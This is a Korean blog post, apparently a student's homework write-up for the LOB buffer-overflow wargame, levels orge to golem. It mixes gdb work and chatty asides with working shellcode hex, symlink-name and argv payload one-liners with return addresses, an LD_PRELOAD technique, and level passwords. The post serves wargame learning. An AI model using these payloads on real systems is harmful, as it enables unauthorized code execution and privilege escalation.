<2/2> 지옥방 4주차 과제[orge-skeleton 다 뿌시기]
후반전 시작했다 후,,,
orge -> troll : check argc
here is changed! 를 살펴보면 argc, 즉 주어진 인자의 개수가 2개가 아니라면 프로그램이 종료된다. 그렇기에 2개의 인자가 주어져야한다. 이는 argv[0], argv[1]만 이용해야 한다는 것을 의미하므로 앞에서 사용해왔던 argv[2]는 사용하지 못한다.
그리고 argv[1]도 초기화된다. 뭐야 그럼 어떡하라고씨
환경변수 막혔고,, argv[2] 막혔고,, argv[1]도 막혔다고 보이고,,흐음
일단 막혔으니 노래를 듣고 오자
미뤌 미뤌 온 더 월~ 돈ㅌ 세이ㅌ 커즈 아 노 암 큐트! 루이 다운 투 마 드뤄워스 엘뷔 오ㄹ 온 마 슈즈
후,,
노래도 다 듣고 다시 코드를 봤지만 심각,, 그때 허쉬초콜릿 드링크(160kcal)을 드링킹하자!!!
이 부분이 살짝 거슬렸다. 그냥 느낌일거같긴 한데,, 내 블로그니깐!
40바이트 크기의 영역에 argv[1]을 붙여넣는다. 이는 48바이트 이하의 크기이고 또한 48번째 데이터는 "\xbf" 이다.
붙여넣기를 진행한 후 40바이트 크기의 영역은 물론이고 argv[1]도 다 0으로 초기화를 시킨다.
사실 잘 모르겠다.
혹시나 진짜 혹시나 argv[0]에 쉘코드를 넣을 수 있을까 고민을 해봤는데,, argv[0]에는 프로그램 주소가 들어가기 때문에 쉘코드에 있는
슬래시 / 를 주소 구분자로 인식할 것이다. 불가능,,, 근데 진짜 남은게 argv[0]밖에 없는데.. 이거 해설봐도 되죠..?
진짜 많이 고민했는뒈
방법을 깨달았다.
아까 의심했던 방법 중 하나인 argv[0]에 쉘코드를 넣는것이다. 그게 어떻게 가능할까 싶었지만 역시 방법은 항상 존재했다.
이 방법에 쓰이는 명령어 중 ln이 있다. 링크(뭔가 바로가기 느낌)를 만들어주는건데 이 링크를 활용해 프로그램을 호출 및 쉘코드까지 집어넣는!!! 그런 방법이다
ln (link) 명령어,
- 한 파일을 다른 파일 이름으로도 사용하고자 할 때 사용하는 명령어,
- 링크된 파일 중 한 파일을 수정하면 다른 파일들도 수정됨,
- 하드링크와 심볼릭링크가 있음,
이 문제에서는 하드링크와 심볼릭링크 중 심볼릭링크를 사용할 계획이다.
심볼릭 링크.
- 윈도우 운영체제의 바로 가기 아이콘이라고 보면됨,
- 링크로 생성된 파일에 내용이 존재하지 않고 각각의 i-node를 가진 또 다른 파일이 어디를 가리키고 있는지 알려주는 역할,
- 원본파일명이 바뀌면 사용하지 못함,
이 심볼릭 링크를 사용할 예정이다.
심볼릭 링크를 사용하기 위해서는 ln 명령어에 심볼릭 링크의 앞 글자를 딴 -s를 옵션으로 추가해주면 된다.
ln -s [원본 파일명] [바로가기 이름]
그럼 일단 gdb 분석을 위해 troll과 길이가 같은 이름인 caput을 생성하고 이 파일에 심볼릭 링크를 걸어주자
이제 "caput"은 "B" 148개와 같아졌다. 148개로 설정한 이유는 사용할 쉘코드와 관련있다.
이 문제에서 사용할 쉘코드는 정신적 지주인 삭님께서 톡방에서 올려주신 쉘코드를 사용할건데, 쉘코드 앞에 안정적인 공격을 위해 NOP SLED 기법을 활용하려 하기에 NOP 100바이트 + 쉘코드 48바이트 이기에 실제 쉘코드를 집어넣기 전에 대략적인 argv[0]의 주소를 알아내기 위해 의미없는 값을 148 바이트만큼 넣어 확인해보고자 한다.
다음과 같이 gdb를 실행할때에도 "B" 148개가 "caput"과 같은 의미로 사용됨을 알 수 있다.
disass main으로 메인함수를 어셈블리어로 확인하자 main+237에서 strcpy 함수가 호출되었고 이 부분에 BP를 걸어 스택의 움직임을 살펴보자!
"\xbf" 인지 아닌지를 따지는 조건문을 통과하기 위해서 "\xbf"만 48개 넣고 출격
이제 argv[0]의 첫주소값을 알아내자
x/160s $ebp로 스택의 상황을 살펴보았다. 0xbffffcd4에 "B"가 148번 들어가있는 것을 확인할 수 있다.
그럼 이 부분에 "B" 148번 대신 쉘코드 148바이트를 넣고 리턴 어드레스로 이 곳 주소를 넘겨주면!!?? 완벽
그럼 아까와 비슷하게 troll 실행파일에 NOP SLED 기법을 사용한 쉘코드를 심볼릭 링크로 걸어주자
ln -s troll `python -c 'print("\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")'`
로 troll 이라는 이름 대신 NOP *100 + 쉘코드로 구성된 이름을 지어준다.
그렇다면 아래와 같이 입력하면 되지 않을까!!??
./`python -c 'print("\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"A"*44+"\xd4\xfc\xff\xbf")'`
Segmentation fault가 발생한다. 화나네ㅡㅡ
여기서 고려해야하는게 지금까지의 문제처럼 gdb와 실행되는 메모리 주소가 달라진다는 점과 또 하나가 있다. 바로 실제 프로그램을 실행시킬때는 상대주소가 아닌 절대주소로 실행이 되기 때문에 앞에 "/home/orge"가 붙게 된다. 이것이 차지할 메모리를 고려해 20 정도를 더해보는 시도를 해본다. (gdb와의 실행 메모리 주소 차이도 고려해보기)
풀 었 다 !!!!!!!!
다음 단계를 위한 ID&PW는 troll / aspirin 이다.
troll -> vampire : check 0xbfff
전 단계에서 알아낸 아이디와 비번인 troll / aspirin으로 troll 계정에 로그인하고 이번 친구를 살펴본다.
이번에 상대할 뱀파이어 친구다. 아주 무섭게 생겼으니 조심하도록 하쟈..!!
이번 관문(?)에서는 몇개가 사라지고 새로운게 추가되었다.
argv[1]의 48번째는 "\xbf"이면서 47번째가 "\xbff"이면 안된다!!!!
지금까지의 문제에서 return address 중 3번째는 무조건 "\xff"였는데... 후
쉘코드를 argv[0], argv[1], argv[2], ....argv[n]에 넣는다면 무조건 argv[1][46]은 "\xff"일것이다.
환경변수에 넣었을때는 주소가 뭐였찌?? 이때도 \xff였다..
스택은 높은 주소로부터 낮은 주소로 데이터를 채우기 때문에 /xbfff로 시작을 안하려면 /xbffe로 시작하는 주소까지 의미없는 값을 채우면 된다. 그럼 buffer가 위치하는 자리부터 44바이트만큼 의미없는 값으로 채우고 ret 주소로 \xbffe로 시작하는 어느 부분에 넣어둔 쉘코드의 첫주소값을 주면 될 것이당.후 해보자
gdb로 분석하기 위해 vamfire를 복사해준다.
strcpy를 호출하는 main+132에 BP를 걸어준다.
\xbfffffff에서 \xbffeffff까지는 \x10000만큼 내려와야 하므로 이는 10진수로 16^4=256^2=하 암산 포기
간대이!?
\220이 뭐지 왜 저게 들어갔지
암튼 뭐,, 주소가 0Xbffe로 시작하는거 확인했으니 그럼 뒤에 쉘코드도 붙여주고~ 리턴 어드레스는 뭐 그냥 적당하게 0xbffeffff로 해보자
사용한 쉘코드는
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
앞에는 짤려서 없지만 뒤에 대충 이 정도로 하고,, 엔터를 눌렀다! 아 저기 NOP값은 그냥 깔끔하게 36개는 뺐어용
별로 상관 없을거같아서 후힣
미친
다 끝내고 터미널 전체화면 했다가 그때 다시 로딩이 되면서 맥북에서 헬리콥터 소리가 났다. 두두두두두두
깔끔하게 해낸거 같다 후하후하
다음 관문을 위한 ID&PW는 vampire / music world
LEVEL10 (vampire -> skeleton) : argv hunter
이전 단계에서 알아낸 비번으로 로그인 후 여유를 즐기자. 2개밖에 안남았엉! 2개나 남은건가
으아아아아아아아아아ㅏ아아아아ㅏ아아ㅏ아아아ㅏ아아아ㅏ아ㅏㄱ 졸려
오 4바이트 만큼 차지하는 saved_argc라는 친구가 생겼다. 누구지
환경변수 초기화시키고(egghunter)~ argv[1] 길이 검사하고~ 40바이트 크기의 buffer 0으로 초기화시키고(buffer hunter)~ 똑같은데!?
새로 추가된 녀석이 argc_saver와 ultra argv hunter다.
argc_saver는 argc, 즉 들어온 인자의 개수를 아까 초반에 새롭게 등장한 saved_argc에 저장한다.
ultra argv hunter는 와씨 이거 뭐하는 시키야? 다 없애는데요?? argv[i]를 반복문으로 다 없애요 0으로 다 초기화시켜부러
이거 뭐하는 애지?????너무 자비가 없는데!? 어!? 이거 뭐냐고!!!!
방법은 있을것이다,,
쉘코드는 넣을 곳이 따로 없는거 같으니 전전 문제에서 했던 방법인 심볼릭링크를 활용해서 해보잣!
심볼릭 링크 이름으로 쉘코드를 넣을때 그 쉘코드도 스택 어딘가에 저장되지 않을까..싶은 생각으로 시도한다 후,,
계속 "\x2f", 즉 슬래시 / 가 있는 쉘코드로 심볼릭링크를 시도하는 멍청한 짓을 했다,, 바로 삭님께서 주신 쉘코드 중 "\x2f"가 없는 48바이트짜리
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
이 코드로 심볼릭링크를 걸어주었다.
근데 일단 gdb로 분석을 해야하니 skyleton에도 심볼릭링크를 걸어주자
위와 같이 심볼릭 링크를 걸어주고 skyleton을 gdb로 열어주었다. (물론 쉘코드로 열었음!)
strcpy를 호출하는 main+243에 BP를 걸어 skyleton에 걸어준 심볼릭링크(쉘코드)가 스택에 어디 저장되는지 확인해보자
꼭 저 strcpy에 BP를 걸어줄 필요는 없지만 그냥 평소에 하던게 있어서,,ㅎㅎ
그리고 실행을 시키고 x/1000x $esp로 쫙 살펴보니!?
0xbfffff68부터 심볼릭 링크값에 넣은 "A"가 들어가있는걸 확인할 수 있다.(skyleton 할때는 "\x90"대신 "A"로 했음)
그럼!? gdb를 나와서 후 해보면 될거같다
핳 무안하게,,
이 정도 주소를 바꿔가면서 해봤는데 안되는거면 뭔가 잘못된거같다.. 첨부터 다시해보자
다시 똑같이 했을때 심볼릭 링클로 넣은 쉘코드가 0xbffffccc부터 시작되는걸 볼 수 있다.
뭐지 밑에 A가 또 있다. 넌 뭐냐? 왜 공격이 안되지 왜지 왜지
링크를 다 삭제하고 처음부터 다시 해보자
아! 참고로 링크를 삭제하는 방법은!
rm [심볼릭 링크 이름]
하면 된다잉~
이번에는 "B"를 넣어 시도했다.
그 값은 위의 사진에서 볼 수 있듯이 0xbfffff59에 위치해있다.
그럼 이 주소값을 리턴 어드레스로 설정해 익스플로잇 해보자!
아니!!!!!!!!!!!!!!!뭐지 왜지 왤까
왜 갑자기 LOB가 안되지 왜지
하 해결했따.
아까 오류가 너무 나길래 bash2 문제가 해결이 안되었나 싶어서 bash2 설정을 했는데
이미 해놔가지구 bash22로 설정이 되어있었다.. 하 ㅏㅏㅏㅁ유우유ㅠ유ㅠ
다시 시작해보장
근데 그전에 개설레는 영상 하나만
https://www.youtube.com/watch?v=xlBw-07WC1I&list=RDxlBw-07WC1I&start_radio=1
하 데이트도 영상으로 보고있네 하아ㅏㅏ
심볼릭 링크를 걸지 않았을때 실행 파일 이름이 저장되는 주소는 0xbfffffe5
쓰레기값(실전에서는 NOP 코드) 100바이트와 쉘코드가 합쳐진 것을 심볼릭링크로 걸었을때 저장되는 주소는 0xbfffff59
와씨 내 얘기 좀 들어봐봐요 동네 사람들
진짜 너무 안되는거에요 진짜진짜 이게 정말 맞는거같은데 너무 안되가지고 이건 주소값의 문제가 아니다라는 결론을 내리고
저의 쉘코드를 한 번 쫘악 봤죠.
NOP 100바이트 + \x2f가 포함되지 않은 쉘코드 로 이루어진 나의 코드가 잘못 되었을까?라고 한참 생각을 하다가 혹시,,
정말 혹시,,
NOP 코드를 앞에만 넣어줬다고 쉘코드가 삐졌나..? 그걸로 삐진거면 진짜 종로구 최고 소심남 김건탁보다 소심한건데 설마설마
?
이 문제때문에 사용한 시간이,,어,, 5시간은 넘을텐데,, ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ
내가 과제 경고 받으면 너 때문인줄 알아ㅡㅡ
다음 라운드를 위한 ID/PW는 skeleton / shellcoder 이다.
LEVEL11 (skeleton -> golem) : stack destroyer
이름부터 무섭다. stack destroyer??
일단 적이 어떻게 생긴지부터 보자
정말 강하게 생겼다.제주도에서 본거 같은데,,
golem.c를 살펴보자
어 처음보는 녀석 등장
stack destroyer가 하는 일은 두가지다
1.buffer를 44바이트만큼 0으로 초기화,, buffer는 40바이트인디, 흠. 지금 보기에는 buffer와 그 뒤에 있는 4바이트 짜리 EBP까지 0으로 초기화하는거 같다.
2.허우씨 이건 뭐지. buffer+48부터면,, 리턴 어드레스 바로 뒤부터다. 리턴 어드레스 뒤부터 0xbfffffff-(int)(buffer+48)만큼 0으로 초기화. 그냥 리턴 어드레스 뒤를 모조리 0으로 초기화 한다는 것이당
호오,,,
지금 드는 생각이 '환경변수가 어디에 들어갔더라..?'이다. 환경변수가 프로그램 앞부분에 들어갔었나.. 궁금하다, 기억이 안난다, 살펴보겠다
위와 같이 hack.c
뭐 확인할 것도 없었네,,
달고나 문서를 찾아보니
스택의 맨 앞에 위치하고 잇는걸 볼 수 있다..후후후후ㅜ후후후훟
흠 그럼 지금 되는게 뭐 있찌, 환경변수 막혔고, argv[2] 막혔고, 심볼릭 링크도 0xbfffffff에 가깝게 위치했었고 흐으으으ㅡㅇㅁ
buffer 아랫부분에 도대체 어떻게 접근할까,,
하 진짜 모르겠어서 구글에 "LOB skeleton" 치자마자!!!!! 나오는 블로그로 들어갔습니다,, 앞에 c코드 설명해주고,, 막 여러가지 얘기하다가...
리눅스 라이브러리!!??
바로 구글링 들어간다
리눅스의 라이브러리는 이게 막 몇분만에 공부할 크기가 아니다,,
http://wiki.kldp.org/HOWTO/html/Program-Library-HOWTO/
와씨 초등학교때 책 좀 읽었다면 몇 분만에 할지도 모르겠지만 나는 방학숙제에 매번 있던 독서록을 한 권만 써서 냈었다.
그런 내게 몇 분만에 읽기에는 조금 버거운 양이였다. 그래서 힌트를 조금만 더 받도록 하쟈,,
이번에 사용할 녀석이 스택 영역에 저장되는 라이브러리인 환경변수 LD_PRELOAD라는 녀석인거 같다!!!
이 정도는 구글링 해보쟈
간단하게 요약해보자면 LD_PRELOAD는 이름에 맞게 프로그램 동작시에 사전에 메모리에 로드되는 부분이다.
이 LD_PRELOAD 환경변수에 파일을 등록하면 프로그램이 메모리에 로드되기 전에 환경변수에 등록한 파일을 먼저 메모리에 로드하게 된다.
먼저 로드하게 되면 프로그램보다 낮은 주소의 스택에 위치하게 되고 이렇게 되면 memset으로 초기화 되지 않는 부분에 위치하게 된다.
즉 익스프로잇 방법은 저 LD_PRELOAD 라는 환경변수에 쉘코드를 넣어놓고 이 환경변수의 주소로 리턴하면 되는것이다!
와 개어렵다
어 근데 아까 봤던 블로그에서 setuid가 걸린 파일에서 LD_PRELOAD는 보안상의 이유로 로딩되지 않는다고 했는데
setuid가 걸려있는디,,, 어케 저걸 사용하지
하 도저히 어떻게 푸는건지 감이 안와서 블로그를 따라하고 이해하는 방향으로 가야할거 같아요오...
우울하다,,
mkdir 명령어를 사용해 tmp 폴더와 그 속에 dirgolem을 만들어준다
또 그 안에 touch 명령어를 이용해 빈파일인 a.c를 만들어준다.
touch 명령어는 보통 파일의 설정값?을 바꾸는거라고 인터넷에서 봤는데, 아무 속성도 주지 않고 touch 파일명.파일확장자를 입력하면 그 이름의 빈 파일을 생성한다고 한다.
앞에서 말했듯이 setuid가 설정되어 있는 실행파일의 경우 보안상의 이유로 LD_PRELOAD를 로딩하지 않기 때문에 파일 속의 내용은 필요없다. 그렇기에 빈 파일로 생성한다. 우리가 필요한건 파일 이름뿐
gcc로 방금 만든 빈파일인 a.c를 앞뒤 NOP 코드 빵빵 넣은 쉘코드를 이름으로 하는 실행파일로 컴파일 해준다.
저기서 준 속성값은 fPIC와 shared 가 있다.
-fPIC : so 파일의 속도 개선을 위한 옵션. 공유 라이브러리 컴파일 시 통상적으로 사용되는 옵션이다. 여기서는 큰 상관 없다.
-shared : so 파일을 컴파일 하기 위한 옵션.
여기서 so란 Shared Object에서 따온 것으로 리눅스에서 공유 라이브러리의 파일 확장자이다.
즉 gcc -fPIC -shared 는 shared object를 컴파일하기 위한 명령어다!
이렇게 컴파일한 프로그램을 환경변수 LD_PRELOAD에 등록해준다.
echo $LD_PRELOAD를 입력해주면 자기가 설정한 환경변수 LD_PRELOAD가 잘 저장되었는지 확인할 수 있다!
이제 gdb로 이 파일이름(쉘코드!)가 어디에 들어갔느지 확인해보자
앞서 만들었나? 언제 만들었는지 모르겠는 golem 파일을 복사한 파일 godem(갓뎀!을 표현)을 gdb로 열어보겠당
그냥 마지막 쪼기 main+163에 bp를 걸어주겠다.
입력값을 검사하는건 argv[1][47]에 "\xbf"인지 아닌지 검사하는거밖에 없기 때문에 구냥 "\xbf"를 48바이트 넣어주고 실행한다
버퍼의 주소값보다 밑에 있을테니 esp에서 1000을 뺀 곳부터 확인을 해보는데,,,, 바로 똬아아악!!!!
어 설마 저 "\x90"이 뒤에 넣은 NOP 코드일 수도 있으니 앞부분을 조금 더 확인해봐야겠다
ㅇㅋ 확인
어 저기 앞부분은 사이에 "\x00"이 왜 들어가있찌 모르겠다
그럼 저기 0xbffff504를 리턴 어드레스로 줘보겠다
입력하는 코드는
./golem `python -c 'print("\x90"*44+"\x04\xf5\xff\xbf")'`
가 될 것이고 이를 입력하자!?
하 이번 문제는 블로그를 따라풀어서 뭔가 성취감이 들지 않는다,,ㅠ
다른 부분은 다 이해했는데 공유라이브러리를 포함한 라이브러리의 개념을 아직 잘 모르겠어서 더 힘들었던거 같다,,
더 공부하게 된다면 따로 포스팅 하겠습니당
햄버거 먹으러 가야지이ㅣ이
댓글
이 글 공유하기
다른 글
-
지옥방 5주차 과je LOB !(All clear)
지옥방 5주차 과je LOB !(All clear)
2020.05.25 -
지옥방 4주차 포너블 과제 모음집!!뚜둥..
지옥방 4주차 포너블 과제 모음집!!뚜둥..
2020.05.17 -
<1/2> 지옥방 4주차 과제[goblin-darkelf 다 뿌시기]
<1/2> 지옥방 4주차 과제[goblin-darkelf 다 뿌시기]
2020.04.30 -
지옥방 3주차 과제 LOB 2,3번 뿌시기
지옥방 3주차 과제 LOB 2,3번 뿌시기
2020.04.28